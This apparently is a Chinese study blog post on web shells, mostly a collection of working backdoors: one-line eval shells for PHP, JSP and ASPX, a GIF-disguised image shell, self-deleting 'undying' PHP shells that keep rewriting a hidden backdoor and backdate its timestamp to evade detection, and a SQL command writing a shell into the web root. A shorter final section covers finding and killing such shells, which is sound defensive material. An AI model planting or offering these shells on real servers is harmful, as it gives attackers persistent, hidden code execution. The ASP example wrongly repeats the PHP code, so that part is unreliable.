木马学习

木马学习

一句话木马

案例(不免杀)

php

<?php @eval($_POST[cmd]);?> <?php @eval($_REQUEST[cmd]);?>

图片马

GIF89a
<script language='php'>@eval($_POST['cmd'])</script>

asp

<?php @eval($_POST[cmd]);?> <?php @eval($_REQUEST[cmd]);?>

jsp

<%
if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath("")+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes());
%>

aspx

<%@ Page Language=“Jscript”%> <%eval(Request.Item[“pass”],“unsafe”);%>

含义

  • eval() 把字符串作为PHP代码执行,如果过滤了eval,可以使用assert绕过

  • @ 不报错并执行

  • $_POST[cmd] 使用post方法,传入变量,可上传对应命令,过滤了GET和POST的情况下,可以用 _REQUEST

    • <form  action="xxx.php"  name="cmd"  method="post">
      

花式木马

不死马
<?php
set_time_limit(0); 
ignore_user_abort(1); 
unlink(__FILE__); //删除自身,调用unlink()的时候,文件还是存在的,只是目录里找不到该文件了,但是已经打开这个文件的进程可以正常读写
	$file='./.index1.php';
while(1)
{ 
 file_put_contents('shell.php','<?php @eval($_GET[cmd]);?>'); //创建shell.php,这里最好用免杀的一句话,可见下方不死马
 sleep(10); //间隔时间
}
?>
<?php
    ignore_user_abort(true); //忽略用户中止连接
    set_time_limit(0); //不限制脚本执行时间
    $file = '.zzy.php'; //创建的是隐藏文件
    $code = '<?php if(substr(md5($_POST["pass"]), 0, 8) . substr(md5($_POST["pass"]), -8) == "0799f9ba90ca700f"){@eval($_POST["QAXanquanyige_nb"])};';
//用法 ?pass=QAXanquanyige_nb&cmd=phpinfo();
    while (1){
        file_put_contents($file,$code); //code写入file
        system('touch -m -d "2018-12-01 09:10:12" .zzy.php'); //修改最后文件修改时间,防止被检测
        usleep(1000);
    }
?>

以上代码中,md5是无法被还原出明文的,是一种摘要算法,防止其他人利用

// 变种不死马
// 在 Linux 命令行中,命令在追加参数时都是用的-,所以,如果对这样方式命名的文件执行命令,都会将这个文件当做参数来执行,没有该参数就会报错,以至于命令无法在这个不死马上执行,但缺点就是隐蔽性没有以.开头的好。(来自csdn)
<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '-test.php';
    $code = '<?php if(md5($_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST[test]);} ?>';
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" -test.php');
        usleep(5000);
    }
?>
数据库写入(root)
SELECT '<?php @eval($_POST["cmd"])?>' INTO OUTFILE '/app/index1.php'
## select   ‘<?php eval($_POST[cmd])?>’   into outfile ‘物理路径’

克制办法

一般来说删去对应代码就可,但对于不死马而言,得用些其他办法。

首先ls和ll无法查找到不死马,需要使用

find ./ -cmin -30  #查看30分钟内新创建的文件
或者
find ./ -name .shell.php #知道名字
  1. 写入同名文件克制不死马(上传该文件后并访问它)
<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.test.php';
    $code = 'come on!'; //代码无害
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .test.php');
          usleep(1000); // 时间调小,低于不死马
    }
?>
  1. 条件竞争查杀不死马

.sh脚本:

#!/bin/bash
while true 
do
#kill -9 进程ID 
#ps auxww|grep shell.php 获取pid
rm -rf .test.php
done

用法:

vim rmss.sh	#新建
chmod 777 rmss.sh #最高权限
nohup ./rmss.sh & #不断运行
  1. 重启php等web服务。
  2. 创建一个和不死马生成的马一样名字的文件夹。
posted @ 2024-04-20 02:09  8o1er9t  阅读(15)  评论(0编辑  收藏  举报